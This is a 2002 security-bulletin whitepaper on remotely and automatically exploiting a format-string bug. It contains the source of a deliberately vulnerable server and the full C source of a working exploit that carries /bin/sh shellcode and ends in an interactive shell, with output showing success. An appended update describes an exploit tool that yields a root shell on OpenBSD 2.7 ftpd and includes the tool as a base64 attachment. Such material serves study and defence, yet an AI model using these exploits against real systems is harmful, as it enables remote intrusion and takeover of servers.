26th Sep 2002 [SBWID-5286]
COMMAND
Automated remote format bug exploit whitepaper
SYSTEMS AFFECTED
All
PROBLEM
Howto remotely and automatically exploit a format bug
Frédéric Raynal <[email protected]>
Exploiting a format bug remotely can be something very funny. It allows
to very well understand the risks associated to this kind of bugs. We
won't explain here the basis for this vulnerability (i.e. its origin or
the building of the format string) since there are already lots of
articles available (see the bibliography at the end).
--[ 1. Context : the vulnerable server ]--
We will use very minimalist server (but nevertheless pedagogic) along
this paper. It requests a login and password, then it echoes its
inputs. Its code is available in appendix 1.
To install the fmtd server, you'll have to configure inetd so that
connections to port 12345 are allowed:
# /etc/inetd.conf
12345 stream tcp nowait raynal /home/raynal/MISC/2-MISC/RemoteFMT/fmtd
Or with xinetd:
# /etc/xinetd.conf
service fmtd
{
type = UNLISTED
user = raynal
group = users
socket_type = stream
protocol = tcp
wait = no
server = /tmp/fmtd
port = 12345
only_from = 192.168.1.1 192.168.1.2 127.0.0.1
}
Then restart your server. Don't forget to change the rules of your
firewall if you are using one.
Now, let's see how this server is working:
$ telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
hello world
hello world
^]
telnet> quit
Connection closed.
Let's have a look at the log file:
Jan 4 10:49:09 bosley fmtd[877]: login -> read login [raynal^M ] (8) bytes
Jan 4 10:49:14 bosley fmtd[877]: passwd -> read passwd [bffff9d0] (8) bytes
Jan 4 10:49:56 bosley fmtd[877]: vul() -> error while reading input buf [] (0)
Jan 4 10:49:56 bosley inetd[407]: pid 877: exit status 255
During the previous example, we simply enter a login, a password and a
sentence before closing the connexion. But what happens when we feed
the server with format instructions:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
%x %x %x %x
d 25207825 78252078 d782520
The instructions "%x %x %x %x" being executed, it shows that our server
is vulnerable to a format bug.
<off topic>
In fact, all programs acting like that are not vulnerable to a
format bug:
int main( int argc, char ** argv )
{
char buf[8];
sprintf( buf, argv[1] );
}
Using %hn to exploit this leads to an overflow: the formatted
string is getting greater and greater, but since no control is
performed on its length, an overflow occurs.
</off topic>
Looking at the sources reveals that the troubles come from vul()
function:
...
snprintf(tmp, sizeof(tmp)-1, buf);
...
since the buffer <buf> is directly available to a malicious user,
the latter is allowed to take control of the server ... and thus gain a
shell with the privileges of the server.
--[ 2. Requested parameters ]--
The same parameters as a local format bug are requested here:
* the offset to reach the beginning of the buffer ;
* the address of a shellcode placed somewhere is the server's memory ;
* the address of the vulnerable buffer ;
* a return address.
The exploit is provided as example in annexe 2. The following parts of
this article explain how it was designed.
Here are some variables used in the exploit:
* sd : the socket between client (exploit) and the vulnerable server ;
* buf : a buffer to read/write some data ;
* read_at : an address in the server's stack ;
* fmt : format string sent to the server.
--[ 2.1 Guessing the offset ]--
This parameter is always necessary for the exploitation of this kind of
bug, and its determination works in the same way as with a local
exploitation:
telnet bosley 12345
Trying 192.168.1.2...
Connected to bosley.
Escape character is '^]'.
login: raynal
password: secret
AAAA%1$x
AAAAa
AAAA%2$x
AAAA41414141
Here, the offset is 2. It is very easy to guess it automatically, and
that is what the function get_offset() aims at. It sends the string
"AAAA%<val>$x" to the server. If the offset is <val>, then the
server answers with the string "AAAA41414141" :
#define MAXOFFSET 255
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
read(sock, buf, sizeof(buf))
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
--[ 2.2 Guessing the address of the shellcode in the stack ]--
If one has to place a shellcode in the memory of the server, it then
has to guess its address. It can be placed in the vulnerable buffer, or
in any other place: we don't care due to format bug :) For instance,
some ftp servers allowed to store it in the password (PASS), without
not too many checks for anonymous or ftp account. Here, our server
works that way.
-- --[ Making a format bug a debugger ]-- --
We aim at finding the address of the shellcode placed in the memory of
the server. So, we will transform the remote server in remote debugger
!
Using the format string "%s", one is allowed to read until the buffer
is full or a NULL character is met. So, by sending successively "%s" to
the server, the exploit is able to dump locally the memory of the
remote process:
<addr>%<offset>$s
In the exploit, it is performed in 2 steps:
1. The function get_addr_as_char(u_int addr, char *buf) converts
addr into char :
*(u_int*)buf = addr;
2. then, the next 4 bytes contains the format instruction.
The format string is then sent to the remote server:
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
The client reads a string at <addr>. If it contains no shellcode,
the next reading is performed at this same address, to which one adds
the amount of read bytes (i.e. the return value of read()).
However, all the <len> read characters should not be considered. The
vulnerable instruction on the server is something like:
sprintf(out, in);
To build the out buffer, sprintf() starts by parsing the <in>
string. The first four bytes are the address we intend to read at: they
are simply copied to the output buffer. Then, a format instruction is
met and interpreted. Hence, we have to remove these 4 bytes:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += (len-4+1);
[ ... ]
}
-- --[ What to look for ? ]-- --
Another problem is how to identify the shellcode in memory. If one just
looks for all its bytes in the remote memory, there is a risk to miss
it. Since the buffer is ended by a NULL byte, the string placed just
before can contain lots of NOPs. Hence the reading of the shellcode can
be split among 2 readings.
To avoid this, if the amount of read characters is equal to the size of
the buffer, the exploit "forgets" the last sizeof(shellcode) bytes read
from the server. Thus, the next reading is performed at:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
[ ... ]
read_at += len;
if (len == sizeof(buf))
read_at-=strlen(shellcode);
[ ... ]
}
This case has never been tested ... so I don't guarantee it works ;-/
-- --[ Guessing the exact address of the shellcode ]-- --
Pattern matching in a string is performed by the function:
ptr = strstr(buf, pattern);
It returns a pointer to the parsed string addressing the first byte of
the searched pattern. Thus, the position of the shellcode is:
addr_shellcode = read_at + (ptr-buf);
Except that the buffer contains bytes we need to ignore !!! As we have
previously noticed while exploring the stack, the first four bytes of
the output buffer are in fact the address we just read at:
addr_shellcode = read_at + (ptr-buf) - 4;
-- --[ shellcode : a summary ]-- --
Sometimes, some code is worthier than long explanations:
while( (len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
read_at-=strlen(shellcode);
}
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
--[ 2.3 Guessing the return address ]--
The last (but not the least) parameter to determine is the return
address. We need to find a valid return address in the remote process
stack to overwrite it with the one of the shellcode.
We won't explain here how the functions are called in C, but simply
remind how variables and parameters are placed in the stack. Firstly
the arguments are placed in the stack from the last one (upper) to the
first one (most down). Then, instructions registers (%eip) is saved on
the stack, followed by the base pointer register (%ebp) which indicates
the beginning of the memory for the current function. After this
address, the memory is used for the local variables. When the function
ends, %eip is popped and clean up is made on the stack. This just means
that the registers %esp and %ebp are popped according to the calling
function. The stack is not cleaned up in any way.
So, our goal is to find a place where the register %eip is saved. Two
steps are used:
1. find the address of the input buffer
2. find the return address of the function the vulnerable buffer
belongs to.
Why do we need to look for the address of the buffer ? All pairs (saved
ebp, saved eip) that we could find in the stack are not good for our
purpose. The stack is never really cleaned up between different calls.
So it contains values used for previous calls, even if they won't
really be used by the process.
Thus, by firstly guessing the address of the vulnerable buffer, we have
a point above which all pairs (saved ebp, saved eip) are valid since
the vulnerable buffer is itself on the top of the stack :)
-- --[ Guessing the address of the buffer ]-- --
The input buffer is easily identified in the remote memory: it is a
mirror for the characters we feed it with. The server fmtd copies them
without any modification (Warning: if some characters were placed by
the server before its answer, they should be considered).
So, we simply have to look at the exact copy of our format string in
the server's memory:
while((len = read(sd, buf, sizeof(buf))) > 0) {
if ((ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
break;
}
read_at += (len-4+1);
memset (buf, 0x0, sizeof (buf));
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
-- --[ Guessing the return address ]-- --
On most of the Linux distributions, the top of the stack is at
0xc0000000. This is not true for all the distributions: Caldera put it
at 0x80000000 (BTW, if someone can explain me why ?). The space
reserved in it depends on the needs of the program (mainly local
variables). These are usually placed in the range 0xbfffXXXX, where
<XX> is an undefined byte. On the contrary, the instruction of the
process (.text section) are loaded from 0x08048000.
So, we have to read the remote stack to find something that looks like:
Top of the stack
0x0804XXXX
0xbfffXXXX
Due to little endian, this is equivalent to looking for the string 0xff
0xbf XX XX 0x04 0x08. As we have seen, we don't have to consider the
first 4 bytes of the returned string:
i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
if (addr_ret != -1) break;
The variable <addr_ret> is initialized with a very complex formula:
* addr_ret : the address we just read ;
* +i : the offset in the string we are looking for the pattern (we
can't use strstr() since our pattern has wildcards - undefined
bytes XX) ;
* -2 : the first bytes we discover in the stack are ff bf, but
he full word (i.e. saved %ebp) is written on 4 bytes. The -2
is for the 2 "least bytes" placed at the beginning of the word XX
XX ff bf ;
* +4 : this modification is due to the return address which is 4
bytes above the saved %ebp ;
* -4 : as you should be used to now, the first 4 bytes which are a
copy of the read address.
--[ 3. Exploitation ]--
So, since we now have all the requested parameters, the exploitation in
itself is not very difficult. We just have to replace the return
address of the vulnerable function (addr_ret) with the one of the
shellcode (addr_shellcode). The function fmtbuilder is taken from [5]
and build the format string sent to the server:
build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));
Once the replacement is performed in the remote stack, we just have to
return from the vul() function. We then send the "quit" command
specially intended to that ;-)
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
Lastly, the function interact() plays with the file descriptors to
allow us to use the gained shell.
In the next example, the exploit is started from bosley to charly :
$ ./expl-fmtd -i 192.168.1.1 -a 0xbfffed01
Using IP 192.168.1.1
Connected to 192.168.1.1
login sent [toto] (4)
passwd (shellcode) sent (10)
[Found offset = 6]
[buffer addr is: 0xbfffede0 (12) ]
buf = (12)
e0 ed ff bf e0 ed ff bf 25 36 24 73
[shell addr is: 0xbffff5f0 (60) ]
buf = (60)
e5 f5 ff bf 8b 04 08 28 fa ff bf 22 89 04 08 eb 1f 5e 89 76 08
31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80
31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68
[ret addr is: 0xbffff5ec (60) ]
Building format string ...
Sending the quit ...
bye bye ...
Linux charly 2.4.17 #1 Mon Dec 31 09:40:49 CET 2001 i686 unknown
uid=500(raynal) gid=100(users)
exit
$
--[ 4. Conclusion ]--
Less format bugs are discovered ... fortunately. As we just saw, the
automation is not very difficult. The library fmtbuilmder (see the
bibliography) also provides the necessary tools for that.
Here, the exploit starts its reading of the remote memory to an
arbitrary value. But if it is too low, the server crashes. The exploit
can be modified to explore the stack from the top to the bottom... but
the strategies used to identify some values have then to be slightly
adapted. The difficulty seems a bit greater.
The reading then starts from the top of the stack 0xc0000000-4. One
have to change the value of the variable addr_stack. Moreover, the line
read_at+=(len-4+1); have to be replaced with read_at-=4; In this way,
the argument -a is useless.
The disadvantage of this solution is that the return address is below
the input buffer. But all that is below this buffer comes from function
that are no more in the stack: these data are written in a free region
of the stack, so they can be modified at any time by the process. So,
the search of the return address has to be change (several can be found
above the vulnerable buffer ... but we can't control whether they will
be really used).
--[ Greetings ]--
Denis Ducamp and Renaud Deraison for their comments/fixes.
------------------------------------------------------------------------
--[ Appendix 1 : the server side fmtd ]--
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <unistd.h>
#include <stdarg.h>
#include <syslog.h>
void respond(char *fmt,...);
int vul(void)
{
char tmp[1024];
char buf[1024];
int len = 0;
syslog(LOG_ERR, "vul() -> tmp = 0x%x buf = 0x%x\n", tmp, buf);
while(1) {
memset(buf, 0, sizeof(buf));
memset(tmp, 0, sizeof(tmp));
if ( (len = read(0, buf, sizeof(buf))) <= 0 ) {
syslog(LOG_ERR, "vul() -> error while reading input buf [%s] (%d)",
buf, len);
exit(-1);
} /*
else
syslog(LOG_INFO, "vul() -> read %d bytes", len);
*/
if (!strncmp(buf, "quit", 4)) {
respond("bye bye ...\n");
return 0;
}
snprintf(tmp, sizeof(tmp)-1, buf);
respond("%s", tmp);
}
}
void respond(char *fmt,...)
{
va_list va;
char buf[1024];
int len = 0;
va_start(va,fmt);
vsnprintf(buf,sizeof(buf),fmt,va);
va_end(va);
len = write(STDOUT_FILENO,buf,strlen(buf));
/* syslog(LOG_INFO, "respond() -> write %d bytes", len); */
}
int main()
{
struct sockaddr_in sin;
int i,len = sizeof(struct sockaddr_in);
char login[16];
char passwd[1024];
openlog("fmtd", LOG_NDELAY | LOG_PID, LOG_LOCAL0);
/* get login */
memset(login, 0, sizeof(login));
respond("login: ");
if ( (len = read(0, login, sizeof(login))) <= 0 ) {
syslog(LOG_ERR, "login -> error while reading login [%s] (%d)",
login, len);
exit(-1);
} else
syslog(LOG_INFO, "login -> read login [%s] (%d) bytes", login, len);
/* get passwd */
memset(passwd, 0, sizeof(passwd));
respond("password: ");
if ( (len = read(0, passwd, sizeof(passwd))) <= 0 ) {
syslog(LOG_ERR, "passwd -> error while reading passwd [%s] (%d)",
passwd, len);
exit(-1);
} else
syslog(LOG_INFO, "passwd -> read passwd [%x] (%d) bytes", passwd, len);
/* let's run ... */
vul();
return 0;
}
------------------------------------------------------------------------
--[ Appendix 2 : the exploit side expl-fmtd ]--
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <unistd.h>
#include <getopt.h>
char verbose = 0, debug = 0;
#define OCT( b0, b1, b2, b3, addr, str ) { \
b0 = (addr >> 24) & 0xff; \
b1 = (addr >> 16) & 0xff; \
b2 = (addr >> 8) & 0xff; \
b3 = (addr ) & 0xff; \
if ( b0 * b1 * b2 * b3 == 0 ) { \
printf( "\n%s contains a NUL byte. Leaving...\n", str ); \
exit( EXIT_FAILURE ); \
} \
}
#define MAX_FMT_LENGTH 128
#define ADD 0x100
#define FOUR sizeof( size_t ) * 4
#define TWO sizeof( size_t ) * 2
#define BANNER "uname -a ; id"
#define MAX_OFFSET 255
int interact(int sock)
{
fd_set fds;
ssize_t ssize;
char buffer[1024];
write(sock, BANNER"\n", sizeof(BANNER));
while (1) {
FD_ZERO(&fds);
FD_SET(STDIN_FILENO, &fds);
FD_SET(sock, &fds);
select(sock + 1, &fds, NULL, NULL, NULL);
if (FD_ISSET(STDIN_FILENO, &fds)) {
ssize = read(STDIN_FILENO, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(sock, buffer, ssize);
}
if (FD_ISSET(sock, &fds)) {
ssize = read(sock, buffer, sizeof(buffer));
if (ssize < 0) {
return(-1);
}
if (ssize == 0) {
return(0);
}
write(STDOUT_FILENO, buffer, ssize);
}
}
return(-1);
}
u_long resolve(char *host)
{
struct hostent *he;
u_long ret;
if(!(he = gethostbyname(host)))
{
herror("gethostbyname()");
exit(-1);
}
memcpy(&ret, he->h_addr, sizeof(he->h_addr));
return ret;
}
int
build_hn(char * buf, unsigned int locaddr, unsigned int retaddr, unsigned int offset, unsigned int base)
{
unsigned char b0, b1, b2, b3;
unsigned int high, low;
int start = ((base / (ADD * ADD)) + 1) * ADD * ADD;
int sz;
/* <locaddr> : where to overwrite */
OCT(b0, b1, b2, b3, locaddr, "[ locaddr ]");
sz = snprintf(buf, TWO + 1, /* 8 char to have the 2 addresses */
"%c%c%c%c" /* + 1 for the ending \0 */
"%c%c%c%c",
b3, b2, b1, b0,
b3 + 2, b2, b1, b0);
/* where is our shellcode ? */
OCT(b0, b1, b2, b3, retaddr, "[ retaddr ]");
high = (retaddr & 0xffff0000) >> 16;
low = retaddr & 0x0000ffff;
return snprintf(buf + sz, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
}
void get_addr_as_char(u_int addr, char *buf) {
*(u_int*)buf = addr;
if (!buf[0]) buf[0]++;
if (!buf[1]) buf[1]++;
if (!buf[2]) buf[2]++;
if (!buf[3]) buf[3]++;
}
int get_offset(int sock) {
int i, offset = -1, len;
char fmt[128], buf[128];
for (i = 1; i<MAX_OFFSET && offset == -1; i++) {
snprintf(fmt, sizeof(fmt), "AAAA%%%d$x", i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}
if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);
if (!strcmp(buf, "AAAA41414141"))
offset = i;
}
return offset;
}
char *shellcode =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe0001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
case 'i':
ip = optarg;
break;
case 'p':
port = atoi(optarg);
break;
case 'a':
addr_stack = strtoul(optarg, NULL, 16);
break;
case 'o':
offset = atoi(optarg);
break;
case 'v':
verbose = 1;
break;
case 'd':
debug = 1;
break;
default:
fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}
/* init the sockaddr_in */
fprintf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s_addr = resolve(ip);
sck.sin_port = htons (port);
/* open the socket */
if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}
/* connect to the remote server */
if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(10);
/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "toto");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(1);
/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, shellcode, strlen(shellcode));
if (verbose) fprintf (stderr, "passwd (shellcode) sent (%d)\n", len);
sleep(1);
/* find offset */
if (offset == -1) {
if ((offset = get_offset(sd)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
if (verbose) fprintf(stderr, "[Found offset = %d]\n", offset);
}
/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
read_at = addr_stack;
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
write(sd, fmt, strlen(fmt));
sleep(1);
while((len = read(sd, buf, sizeof(buf))) > 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);
/* the shellcode */
if ((ptr = strstr(buf, shellcode))) {
addr_shellcode = read_at + (ptr-buf) - 4;
fprintf (stderr, "[shell addr is: 0x%x (%d) ]\n", addr_shellcode, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n");
}
/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
addr_buffer = read_at + (ptr-buf) - 4;
fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
}
/* return address */
if (addr_buffer != -1) {
i = 4;
while (i<len-5 && addr_ret == -1) {
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08) {
addr_ret = read_at + i - 2 + 4 - 4;
fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}
i++;
}
}
read_at += (len-4+1);
if (len == sizeof(buf)) {
fprintf(stderr, "Warning: this has not been tested !!!\n");
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at-=strlen(shellcode);
}
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));
}
/* send the format string */
fprintf (stderr, "Building format string ...\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0);
write(sd, buf, strlen(buf));
sleep(1);
read(sd, buf, sizeof(buf));
/* call the return while quiting */
fprintf (stderr, "Sending the quit ...\n");
strcpy(buf, "quit");
write(sd, buf, strlen(buf));
sleep(1);
interact(sd);
close(sd);
return 0;
}
------------------------------------------------------------------------
--[ Bibliography ]--
1. More info on format bugs par P. "kalou" Bouchareine
(http://www.hert.org/papers/format.html)
2. Format Bugs: What are they, Where did they come from,... How to
exploit them par lamagra
([email protected] <[email protected]>)
3. Éviter les failles de sécurité dès le développement d'une
application - 4 : les chaînes de format par F. Raynal, C.
Grenier, C. Blaess
(http://minimum.inria.fr/~raynal/index.php3?page=121 ou
http://www.linuxfocus.org/Francais/July2001/article191.shtml)
4. Exploiting the format string vulnerabilities par scut (team TESO)
(http://www.team-teso.net/articles/formatstring)
5. fmtbuilder-howto par F. Raynal et S. Dralet
(http://minimum.inria.fr/~raynal/index.php3?page=501)
------------------------------------------------------------------------
Update (22 April 2002)
======
Fredrik Widlund [[email protected]] added :
"fox", is a tool I wrote for automatically exploiting any (or most)
format bugs, locally and remotely. It runs on OpenBSD and not ported to
other platforms, though it should be very straighforward.
The only requirement is that you get the actual printed string back to
the program, in the case of the OpenBSD 2.7 ftpd you need to proxy this
through a small shell program since the output occurs in the process
listing.
This should work for exploiting bugs on most little-endian
32bit-machines like the i386 providing you supply the shellcode.
Included is a trivial local example, and another on how to point it at
the OpenBSD 2.7 ftpd to remotely get a root prompt instead of the ftp
banner ...
Exploiting OpenBSD 2.7 ftp server
Input has to be < 256 characters, working offsets are -18 and -2
Ex:
root@wolf> ./fox -s 220 -p 50 -o-18 ex2/ex2
alignment 0
chars before argument 111
chars before insert 0
argument offset 9
argument pointer offset 0
argument address 0xdfbfd15c
esp 0xdfbfd138
uid=0(root) gid=0(wheel) groups=0(wheel)
root@wolf> nc 127.0.0.1 21
id
uid=0(root) gid=0(wheel) groups=0(wheel)
uname -a
OpenBSD wolf 2.7 GENERIC#0 i386
cat /etc/hosts
127.0.0.1 AAAA<81>ð<81>Ð<81>¿<81>ßBBBB<81>ñ<81>Ð<81>¿<81>ßCCCC<81>ò<81>Ð<81>¿
<81>ßDDDD<81>ó<81>Ð<81>¿<81>ß%p%p%p%p%p%p%p%p%p%0323x%hn%0287x%hn%0238x%hn%0288x%hn<81>ëI<8B>$<81>Ã1<81>ÉQ<83><81>ÀP<89><81>Ã<83><81>ÃS<89>?<88>K<83><89>X<88>K
<83><81>Ã<89><88>K<83><89>HP<81>¸;UUU%;<81>ª<81>ª<81>ª<81>Í<80>PP<81>¸UUU%<81>ª
<81>ª<81>ª<81>Í<80><81>è<81>²<81>ÿ<81>ÿ<81>ÿ<81>ë<81>´[CODE_BY_LONEWOLF]/bin/shF-cGG/bin/shAxxxxxxxxxxxxx
exit
root@wolf>
-------------------------------Cut----------------------------------------------
Content-Type: application/x-gzip;
name="fox0.1.tgz"
Content-Transfer-Encoding: base64
Content-Description: format bug exploiter
Content-Disposition: attachment; filename="fox0.1.tgz"
H4sIAFj6vzwAA+08TW/cWHJKBnswTwHyB57bK0231N0i2R9qq91ay5bscVYjaS0rswuNoGXzQ6LV
TTZIttRej4E05pJBbgEC5AcECJBjkENus8GccgiQH5BgrgH2svk4Z1L1vvjRbFker6VFhiXJJB/r
1atXVa+qXpG0408WBPzb/3y08EcLs/DLX3/97R/+Vfre0pcfUfyFhT+gx3/624/gbGHhj6Pqw78B
/N5fs3sIqtpU11otOFLIHtn5WrO1trbW0mi7rjZ1faGVw8vvHMZhZAQwZOD70VV4l2e2PbgJhm4W
HH+yOjTObccd2PNw/vLfv/4Wj//73XffvQvth6MfLfzS+NGCCkptN5tz9a81mqj/htpqtnR1Ddo1
QNcW1Ped3HXgB67//ed7T3tgBMrB88cHd3u2eeaT5bqpPH6ys/n0YKVX+8wYDJTdvU83d3vK1vaj
w6e92qlycPho69nznj3RiD3RFaXueuZgbNnkQT+06qPAP60Pzzdue24FvB1w/cNf3Vy4rfWvtzVV
E/6/2UJfAOtfR/z3ndx14Ae+/leXFULgF2yA1ODfYGhEpD8+hXU9GvhuZAfkQq1rCqAY4+jMD9aJ
E9hW4J7XL11rMPash5btmP6wDn9VsraqEx10ivj1ep0E9mUARIjvEMMj/sAike8PcMjlVUW5J91G
GFmuXz/bSDcN3H62LXC903Tb2HMBNd3mmF40SDfZQZCh9SpcjV6N7HC2OfTNczuabb80XNqqrC4T
mLUxHkTEH9keOD0SntmDgekDKszsHtx1PZs82Xv+6eaLk4NPtnd2Hu9tbZPXnyvqpHnf7leJOlGb
HXo0G3qTHu83NDx2Gi2N3TdVen2/xY4Ns1FFApoKJ+wGO3a0Du2w1uQEO/y+ytqbLXps9jsdSqDT
UHU+AkVsdTr3GSE1TUjNEmoyAv0OY6nVavTZsdXCY6Ov06MBQAlY7NhSOxSf9kMCrZaqJTuqWn5H
u8M6Ok5fZ0fHYRw0mRCbjRY7NpsOJeg0KaHW/Sbt0DRbtL1p8/vgYyiBpskbrGYbj21dp9dtu01l
sdZg1812m8693dAter3WXKME5nbQ2h3yBm08Ywb7m1uEQWkTAKf6CKAP8BjABNgCsABKOX1PDl5s
Pn/B+ube395F+qXFEfuZwdnaeyrGRy7ZTy6lP93cOdwmMZIyg7S3L0jlDHTw4rm8G84OcHjwibjr
lRQFFyFgEFjcYxMXVOT6XiiOJ1FXUdK3lNcgXNeLkMTIH4Xd+DJ0f2UnLn3HCe0o0XBhB30/pCjm
mRGQ5XjddpU3MBLiBWOvjEcjODWrHG8ZLi7EBZyPh7YXiWt/HI3GcIWd2PkJMsIa+q9GRhhWJNP2
xDZPGGm3Sl5WCeCFF0f6MVAbuWBiEJCicVgVlALbsGJ+l0X3i65C3XZQdkmPaF3ikgeUYzhbWako
OFvXIWUQnTkclbHHkQtjlBZdL7SDaLFUIb0eURkmIX0Y57zLgoFkESgj+R4lTH7CDitEI+v0tNJN
IF8gMmeyQkxIG32zHFOCXlWqHt/hWBXaHXm8K2kwbsBXlwG7xIiUKnKqL2EMtUtewlQlZbgU85Vk
jl4eS9ZfMr6pwhjfeBvHFqMLDSGJ11wcNvRnYWBkuEF588nJ4e6zn1fJwd7jn6J9b29+WiX72Hqw
v/0YNUhnI6Ru48g1raLcEXOJiZU45hucFaochoLJnZelPFgjI5CUB2JxaSTR1DTrqTndea3cgVEG
YPRlFbrKCy15oScvwBjVY9aAf9Z4pGObBsbDKSSbtNkmSo3OTijlohyrRgWMWN9dicbnSNFTIprR
kWRTO2b92YohKDDsl1g41F6gyfJTIsJADsIrswW3JFbcZ7t7n2zuPo2ZyhElrjakzMQkVimYd2LU
atILQFqVZKgmJIa0XWkmSREgHlXznfRcVnrEpZJlooFpnMGuvSxmj5TI0lKqy91ehhWtEkvoKMPX
MZPWlSKnlkEwB7TLGS0GdjQOPGplyhvmSftjd2Dx5e560kfS04SLNAbuqccc6vgEG2BK5vnJ0Ldc
5xVHCU5P0NfHV+DYErfG4Vl8xdy+IIYthmUFdhgKhy2dPusjLylPzFUnmD4ZiQji4glnUfbhtKkM
hvYQRi7zuX48+biamKwUP206St9ICJ+NCdf0DExLygc7901/9KocB2sxwki61/gec7GKiASxUJlW
RfRosujRaOMRrKxTTWlAuFcx9lJWPYzfFYxnnIXUWJXUtIB+Q++KXQdjQJXhiyoZrVigP5BSSMlL
p2GumqSamf3efoUKXEZCbjRkA8ajI/DAho3pCcZpzFzhwr2K1Ccs3UFoy0HQGGdHwdbcYTAfmq9E
uJkdKJfI3v58GkIUcm0nlkQ6dsxYNekl1w9ooSwkXuOnSfuswEWjHfvP0BvBhi1yypKzlBITtOhZ
pUqYJ6S54aK6qDasyeLimXed81JV9i3HToAs8U2D46gqsoe7JxUGTKDApGbnzfpVYqKi43xcJJRz
